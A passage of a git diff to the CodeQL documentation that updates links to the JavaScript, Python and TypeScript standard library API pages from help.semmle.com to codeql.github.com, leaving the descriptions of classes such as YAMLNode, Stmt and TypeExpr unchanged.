<https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONPrimitiveValue.html>`__ representing the various kinds of primitive values. + - `JSONNull <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONNull.html>`__, `JSONBoolean <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONBoolean.html>`__, `JSONNumber <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONNumber.html>`__, `JSONString <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONString.html>`__: subclasses of `JSONPrimitiveValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONPrimitiveValue.html>`__ representing the various kinds of primitive values. -- `JSONArray <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONArray.html>`__: a JSON-encoded array; use ``JSONArray.getElementValue(i)`` to access the ``i``\ th element of the array. -- `JSONObject <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONObject.html>`__: a JSON-encoded object; use ``JSONObject.getValue(n)`` to access the value of property ``n`` of the object. +- `JSONArray <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONArray.html>`__: a JSON-encoded array; use ``JSONArray.getElementValue(i)`` to access the ``i``\ th element of the array. +- `JSONObject <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONObject.html>`__: a JSON-encoded object; use ``JSONObject.getValue(n)`` to access the value of property ``n`` of the object. Regular expressions ^^^^^^^^^^^^^^^^^^^ -The ``semmle.javascript.Regexp`` library provides support for working with regular expression literals. The syntactic structure of regular expression literals is represented as an abstract syntax tree of regular expression terms, modeled by the class `RegExpTerm <https://help.semmle.com/qldoc/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__. Similar to `ASTNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__, class `RegExpTerm <https://help.semmle.com/qldoc/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__ provides member predicates ``getParent()`` and ``getChild(i)`` to navigate the structure of the syntax tree. +The ``semmle.javascript.Regexp`` library provides support for working with regular expression literals. The syntactic structure of regular expression literals is represented as an abstract syntax tree of regular expression terms, modeled by the class `RegExpTerm <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__. Similar to `ASTNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__, class `RegExpTerm <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__ provides member predicates ``getParent()`` and ``getChild(i)`` to navigate the structure of the syntax tree. -Various subclasses of `RegExpTerm <https://help.semmle.com/qldoc/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__ model different kinds of regular expression constructs and operators; see `the API documentation <https://help.semmle.com/qldoc/javascript/semmle/javascript/Regexp.qll/module.Regexp.html>`__ for details. +Various subclasses of `RegExpTerm <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Regexp.qll/type.Regexp$RegExpTerm.html>`__ model different kinds of regular expression constructs and operators; see `the API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Regexp.qll/module.Regexp.html>`__ for details. YAML ^^^^ The ``semmle.javascript.YAML`` library provides support for working with `YAML <http://yaml.org/>`__ files that were processed by the JavaScript extractor when building the CodeQL database. -YAML files are modeled as trees of YAML nodes. Each YAML node is represented by an entity of class `YAMLNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLNode.html>`__, which provides, among others, the following member predicates: +YAML files are modeled as trees of YAML nodes. Each YAML node is represented by an entity of class `YAMLNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLNode.html>`__, which provides, among others, the following member predicates: - ``YAMLNode.getParentNode()`` returns the YAML collection in which this node is syntactically nested. - ``YAMLNode.getChildNode(i)`` returns the ``i``\ th child node of this node, ``YAMLNode.getAChildNode()`` returns any child node of this node. - ``YAMLNode.getTag()`` returns the tag of this YAML node. - ``YAMLNode.getAnchor()`` returns the anchor associated with this YAML node, if any. -- ``YAMLNode.eval()`` returns the `YAMLValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLValue.html>`__ this YAML node evaluates to after resolving aliases and includes. +- ``YAMLNode.eval()`` returns the `YAMLValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLValue.html>`__ this YAML node evaluates to after resolving aliases and includes. -The various kinds of scalar values available in YAML are represented by classes `YAMLInteger <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLInteger.html>`__, `YAMLFloat <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLFloat.html>`__, `YAMLTimestamp <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLTimestamp.html>`__, `YAMLBool <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLBool.html>`__, `YAMLNull <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLNull.html>`__ and `YAMLString <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLString.html>`__. Their common superclass is `YAMLScalar <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLScalar.html>`__, which has a member predicate ``getValue()`` to obtain the value of a scalar as a +The various kinds of scalar values available in YAML are represented by classes `YAMLInteger <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLInteger.html>`__, `YAMLFloat <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLFloat.html>`__, `YAMLTimestamp <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLTimestamp.html>`__, `YAMLBool <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLBool.html>`__, `YAMLNull <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLNull.html>`__ and `YAMLString <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLString.html>`__. Their common superclass is `YAMLScalar <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLScalar.html>`__, which has a member predicate ``getValue()`` to obtain the value of a scalar as a string. -`YAMLMapping <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLMapping.html>`__ and `YAMLSequence <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLSequence.html>`__ represent mappings and sequences, respectively, and are subclasses of `YAMLCollection <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLCollection.html>`__. +`YAMLMapping <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLMapping.html>`__ and `YAMLSequence <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLSequence.html>`__ represent mappings and sequences, respectively, and are subclasses of `YAMLCollection <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLCollection.html>`__. -Alias nodes are represented by class `YAMLAliasNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLAliasNode.html>`__, while `YAMLMergeKey <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLMergeKey.html>`__ and `YAMLInclude <https://help.semmle.com/qldoc/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLInclude.html>`__ represent merge keys and ``!include`` directives, respectively. +Alias nodes are represented by class `YAMLAliasNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLAliasNode.html>`__, while `YAMLMergeKey <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLMergeKey.html>`__ and `YAMLInclude <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/YAML.qll/type.YAML$YAMLInclude.html>`__ represent merge keys and ``!include`` directives, respectively. Predicate ``YAMLMapping.maps(key, value)`` models the key-value relation represented by a mapping, taking merge keys into account. diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst index f598fa0ba5e..dacb3f484d7 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst @@ -31,7 +31,7 @@ This part of the library represents the Python source code. The ``Module``, ``Cl Scope ^^^^^ -A Python program is a group of modules. Technically a module is just a list of statements, but we often think of it as composed of classes and functions. These top-level entities, the module, class, and function are represented by the three CodeQL classes `Module <https://help.semmle.com/qldoc/python/semmle/python/Module.qll/type.Module$Module.html>`__, `Class <https://help.semmle.com/qldoc/python/semmle/python/Class.qll/type.Class$Class.html>`__ and `Function <https://help.semmle.com/qldoc/python/semmle/python/Function.qll/type.Function$Function.html>`__ which are all subclasses of ``Scope``. +A Python program is a group of modules. Technically a module is just a list of statements, but we often think of it as composed of classes and functions. These top-level entities, the module, class, and function are represented by the three CodeQL classes `Module <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Module.qll/type.Module$Module.html>`__, `Class <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Class.qll/type.Class$Class.html>`__ and `Function <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Function.qll/type.Function$Function.html>`__ which are all subclasses of ``Scope``. - ``Scope`` @@ -54,7 +54,7 @@ All scopes are basically a list of statements, although ``Scope`` classes have a Statement ^^^^^^^^^ -A statement is represented by the `Stmt <https://help.semmle.com/qldoc/python/semmle/python/Stmts.qll/type.Stmts$Stmt.html>`__ class which has about 20 subclasses representing the various kinds of statements, such as the ``Pass`` statement, the ``Return`` statement or the ``For`` statement. Statements are usually made up of parts. The most common of these is the expression, represented by the ``Expr`` class. For example, take the following Python ``for`` statement: +A statement is represented by the `Stmt <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Stmts.qll/type.Stmts$Stmt.html>`__ class which has about 20 subclasses representing the various kinds of statements, such as the ``Pass`` statement, the ``Return`` statement or the ``For`` statement. Statements are usually made up of parts. The most common of these is the expression, represented by the ``Expr`` class. For example, take the following Python ``for`` statement: .. code-block:: python @@ -63,7 +63,7 @@ A statement is represented by the `Stmt <https://help.semmle.com/qldoc/python/se else: return 0 -The `For <https://help.semmle.com/qldoc/python/semmle/python/Stmts.qll/type.Stmts$For.html>`__ class representing the ``for`` statement has a number of member predicates to access its parts: +The `For <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Stmts.qll/type.Stmts$For.html>`__ class representing the ``for`` statement has a number of member predicates to access its parts: - ``getTarget()`` returns the ``Expr`` representing the variable ``var``. - ``getIter()`` returns the ``Expr`` resenting the variable ``seq``. @@ -74,7 +74,7 @@ The `For <https://help.semmle.com/qldoc/python/semmle/python/Stmts.qll/type.Stmt Expression ^^^^^^^^^^ -Most statements are made up of expressions. The `Expr <https://help.semmle.com/qldoc/python/semmle/python/Exprs.qll/type.Exprs$Expr.html>`__ class is the superclass of all expression classes, of which there are about 30 including calls, comprehensions, tuples, lists and arithmetic operations. For example, the Python expression ``a+2`` is represented by the ``BinaryExpr`` class: +Most statements are made up of expressions. The `Expr <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Exprs.qll/type.Exprs$Expr.html>`__ class is the superclass of all expression classes, of which there are about 30 including calls, comprehensions, tuples, lists and arithmetic operations. For example, the Python expression ``a+2`` is represented by the ``BinaryExpr`` class: - ``getLeft()`` returns the ``Expr`` representing the ``a``. - ``getRight()`` returns the ``Expr`` representing the ``2``. @@ -96,12 +96,12 @@ As an example, to find expressions of the form ``a+2`` where the left is a simpl Variable ^^^^^^^^ -Variables are represented by the `Variable <https://help.semmle.com/qldoc/python/semmle/python/Variables.qll/type.Variables$Variable.html>`__ class in the CodeQL library. There are two subclasses, ``LocalVariable`` for function-level and class-level variables and ``GlobalVariable`` for module-level variables. +Variables are represented by the `Variable <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Variables.qll/type.Variables$Variable.html>`__ class in the CodeQL library. There are two subclasses, ``LocalVariable`` for function-level and class-level variables and ``GlobalVariable`` for module-level variables. Other source code elements ^^^^^^^^^^^^^^^^^^^^^^^^^^ -Although the meaning of the program is encoded by the syntactic elements, ``Scope``, ``Stmt`` and ``Expr`` there are some parts of the source code not covered by the abstract syntax tree. The most useful of these is the `Comment <https://help.semmle.com/qldoc/python/semmle/python/Comment.qll/type.Comment$Comment.html>`__ class which describes comments in the source code. +Although the meaning of the program is encoded by the syntactic elements, ``Scope``, ``Stmt`` and ``Expr`` there are some parts of the source code not covered by the abstract syntax tree. The most useful of these is the `Comment <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Comment.qll/type.Comment$Comment.html>`__ class which describes comments in the source code. Examples ^^^^^^^^ @@ -160,7 +160,7 @@ Summary The most commonly used standard classes in the syntactic part of the library are organized as follows: -``Module``, ``Class``, ``Function``, ``Stmt``, and ``Expr`` - they are all subclasses of `AstNode <https://help.semmle.com/qldoc/python/semmle/python/AstExtended.qll/type.AstExtended$AstNode.html>`__. +``Module``, ``Class``, ``Function``, ``Stmt``, and ``Expr`` - they are all subclasses of `AstNode <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/AstExtended.qll/type.AstExtended$AstNode.html>`__. Abstract syntax tree '''''''''''''''''''' @@ -287,8 +287,8 @@ Summary The classes in the control-flow part of the library are: -- `ControlFlowNode <https://help.semmle.com/qldoc/python/semmle/python/Flow.qll/type.Flow$ControlFlowNode.html>`__ – A control-flow node. There is a one-to-many relation between AST nodes and control-flow nodes. -- `BasicBlock <https://help.semmle.com/qldoc/python/semmle/python/Flow.qll/type.Flow$BasicBlock.html>`__ – A non branching list of control-flow nodes. +- `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Flow.qll/type.Flow$ControlFlowNode.html>`__ – A control-flow node. There is a one-to-many relation between AST nodes and control-flow nodes. +- `BasicBlock <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/Flow.qll/type.Flow$BasicBlock.html>`__ – A non branching list of control-flow nodes. Type-inference classes @@ -316,7 +316,7 @@ For example, which ``ClassValue``\ s are iterable can be determined using the qu Summary ^^^^^^^ -- `Value <https://help.semmle.com/qldoc/python/semmle/python/objects/ObjectAPI.qll/type.ObjectAPI$Value.html>`__ +- `Value <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/objects/ObjectAPI.qll/type.ObjectAPI$Value.html>`__ - ``ClassValue`` - ``CallableValue`` @@ -333,8 +333,8 @@ The CodeQL library for Python also supplies classes to specify taint-tracking an Summary ^^^^^^^ -- `TaintKind <https://help.semmle.com/qldoc/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintKind.html>`__ -- `Configuration <https://help.semmle.com/qldoc/python/semmle/python/dataflow/Configuration.qll/type.Configuration$TaintTracking$Configuration.html>`__ +- `TaintKind <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/TaintTracking.qll/type.TaintTracking$TaintKind.html>`__ +- `Configuration <https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/Configuration.qll/type.Configuration$TaintTracking$Configuration.html>`__ For more information about these classes, see ":doc:`Analyzing data flow and tracking tainted data in Python <analyzing-data-flow-and-tracking-tainted-data-in-python>`." diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst index eb2a61d86cc..7e33460c48d 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst @@ -19,12 +19,12 @@ Support for analyzing TypeScript code is bundled with the CodeQL libraries for J Syntax ------ -Most syntax in TypeScript is represented in the same way as its JavaScript counterpart. For example, ``a+b`` is represented by an `AddExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html>`__; the same as it would be in JavaScript. On the other hand, ``x as number`` is represented by `TypeAssertion <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAssertion.html>`__, a class that is specific to TypeScript. +Most syntax in TypeScript is represented in the same way as its JavaScript counterpart. For example, ``a+b`` is represented by an `AddExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html>`__; the same as it would be in JavaScript. On the other hand, ``x as number`` is represented by `TypeAssertion <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAssertion.html>`__, a class that is specific to TypeScript. Type annotations ~~~~~~~~~~~~~~~~ -The `TypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html>`__ class represents anything that is part of a type annotation. +The `TypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html>`__ class represents anything that is part of a type annotation. Only type annotations that are explicit in the source code occur as a ``TypeExpr``. Types inferred by the TypeScript compiler are ``Type`` entities; for details about this, see the section on `static type information <#static-type-information>`__. @@ -37,48 +37,48 @@ There are several ways to access type annotations, for example: - ``VarDecl.getTypeAnnotation()`` (special case of ``BindingPattern.getTypeAnnotation()``) - ``FieldDeclaration.getTypeAnnotation()`` -The `TypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html>`__ class provides some convenient member predicates such as ``isString()`` and ``isVoid()`` to recognize commonly used types. +The `TypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html>`__ class provides some convenient member predicates such as ``isString()`` and ``isVoid()`` to recognize commonly used types. The subclasses that represent type annotations are: -- `TypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__: a name referring to a type, such as ``Date`` or ``http.ServerRequest``. +- `TypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAccess.html>`__: a name referring to a type, such as ``Date`` or ``http.ServerRequest``. - - `LocalTypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeAccess.html>`__: an unqualified name, such as ``Date``. - - `QualifiedTypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$QualifiedTypeAccess.html>`__: a name prefixed by a namespace, such as ``http.ServerRequest``. - - `ImportTypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportTypeAccess.html>`__: an ``import`` used as a type, such as ``import("./foo")``. + - `LocalTypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalTypeAccess.html>`__: an unqualified name, such as ``Date``. + - `QualifiedTypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$QualifiedTypeAccess.html>`__: a name prefixed by a namespace, such as ``http.ServerRequest``. + - `ImportTypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportTypeAccess.html>`__: an ``import`` used as a type, such as ``import("./foo")``. -- `PredefinedTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$PredefinedTypeExpr.html>`__: a predefined type, such as ``number``, ``string``, ``void``, or ``any``. -- `ThisTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ThisTypeExpr.html>`__: the ``this`` type. -- `InterfaceTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceTypeExpr.html>`__, also known as a literal type, such as ``{x: number}``. -- `FunctionTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$FunctionTypeExpr.html>`__: a type such as ``(x: number) => string``. -- `GenericTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GenericTypeExpr.html>`__: a named type with type arguments, such as ``Array<string>``. -- `LiteralTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LiteralTypeExpr.html>`__: a string, number, or boolean constant used as a type, such as ``'foo'``. -- `ArrayTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ArrayTypeExpr.html>`__: a type such as ``string[]``. -- `UnionTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$UnionTypeExpr.html>`__: a type such as ``string | number``. -- `IntersectionTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IntersectionTypeExpr.html>`__: a type such as ``S & T``. -- `IndexedAccessTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IndexedAccessTypeExpr.html>`__: a type such as ``T[K]``. -- `ParenthesizedTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ParenthesizedTypeExpr.html>`__: a type such as ``(string)``. -- `TupleTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TupleTypeExpr.html>`__: a type such as ``[string, number]``. -- `KeyofTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$KeyofTypeExpr.html>`__: a type such as ``keyof T``. -- `TypeofTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeofTypeExpr.html>`__: a type such as ``typeof x``. -- `IsTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IsTypeExpr.html>`__: a type such as ``x is string``. -- `MappedTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$MappedTypeExpr.html>`__: a type such as ``{ [K in C]: T }``. +- `PredefinedTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$PredefinedTypeExpr.html>`__: a predefined type, such as ``number``, ``string``, ``void``, or ``any``. +- `ThisTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ThisTypeExpr.html>`__: the ``this`` type. +- `InterfaceTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceTypeExpr.html>`__, also known as a literal type, such as ``{x: number}``. +- `FunctionTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$FunctionTypeExpr.html>`__: a type such as ``(x: number) => string``. +- `GenericTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GenericTypeExpr.html>`__: a named type with type arguments, such as ``Array<string>``. +- `LiteralTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LiteralTypeExpr.html>`__: a string, number, or boolean constant used as a type, such as ``'foo'``. +- `ArrayTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ArrayTypeExpr.html>`__: a type such as ``string[]``. +- `UnionTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$UnionTypeExpr.html>`__: a type such as ``string | number``. +- `IntersectionTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IntersectionTypeExpr.html>`__: a type such as ``S & T``. +- `IndexedAccessTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IndexedAccessTypeExpr.html>`__: a type such as ``T[K]``. +- `ParenthesizedTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ParenthesizedTypeExpr.html>`__: a type such as ``(string)``. +- `TupleTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TupleTypeExpr.html>`__: a type such as ``[string, number]``. +- `KeyofTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$KeyofTypeExpr.html>`__: a type such as ``keyof T``. +- `TypeofTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeofTypeExpr.html>`__: a type such as ``typeof x``. +- `IsTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$IsTypeExpr.html>`__: a type such as ``x is string``. +- `MappedTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$MappedTypeExpr.html>`__: a type such as ``{ [K in C]: T }``. There are some subclasses that may be part of a type annotation, but are not themselves types: -- `TypeParameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameter.html>`__: a type parameter declared on a type or function, such as ``T`` in ``class C<T> {}``. -- `NamespaceAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceAccess.html>`__: a name referring to a namespace from inside a type, such as ``http`` in ``http.ServerRequest``. +- `TypeParameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameter.html>`__: a type parameter declared on a type or function, such as ``T`` in ``class C<T> {}``. +- `NamespaceAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceAccess.html>`__: a name referring to a namespace from inside a type, such as ``http`` in ``http.ServerRequest``. - - `LocalNamespaceAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceAccess.html>`__: the initial identifier in a prefix, such as ``http`` in ``http.ServerRequest``. - - `QualifiedNamespaceAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$QualifiedNamespaceAccess.html>`__: a qualified name in a prefix, such as ``net.client`` in ``net.client.Connection``. - - `ImportNamespaceAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportNamespaceAccess.html>`__: an ``import`` used as a namespace in a type, such as in ``import("http").ServerRequest``. + - `LocalNamespaceAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$LocalNamespaceAccess.html>`__: the initial identifier in a prefix, such as ``http`` in ``http.ServerRequest``. + - `QualifiedNamespaceAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$QualifiedNamespaceAccess.html>`__: a qualified name in a prefix, such as ``net.client`` in ``net.client.Connection``. + - `ImportNamespaceAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportNamespaceAccess.html>`__: an ``import`` used as a namespace in a type, such as in ``import("http").ServerRequest``. -- `VarTypeAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$VarTypeAccess.html>`__: a reference to a value from inside a type, such as ``x`` in ``typeof x`` or ``x is string``. +- `VarTypeAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$VarTypeAccess.html>`__: a reference to a value from inside a type, such as ``x`` in ``typeof x`` or ``x is string``. Function signatures ~~~~~~~~~~~~~~~~~~~ -The `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ class is a broad class that includes both concrete functions and function signatures. +The `Function <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ class is a broad class that includes both concrete functions and function signatures. Function signatures can take several forms: @@ -94,7 +94,7 @@ We recommend that you use the predicate ``Function.hasBody()`` to distinguish co Type parameters ~~~~~~~~~~~~~~~ -The `TypeParameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameter.html>`__ class represents type parameters, and the `TypeParameterized <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html>`__ class represents entities that can declare type parameters. Classes, interfaces, type aliases, functions, and mapped type expressions are all ``TypeParameterized``. +The `TypeParameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameter.html>`__ class represents type parameters, and the `TypeParameterized 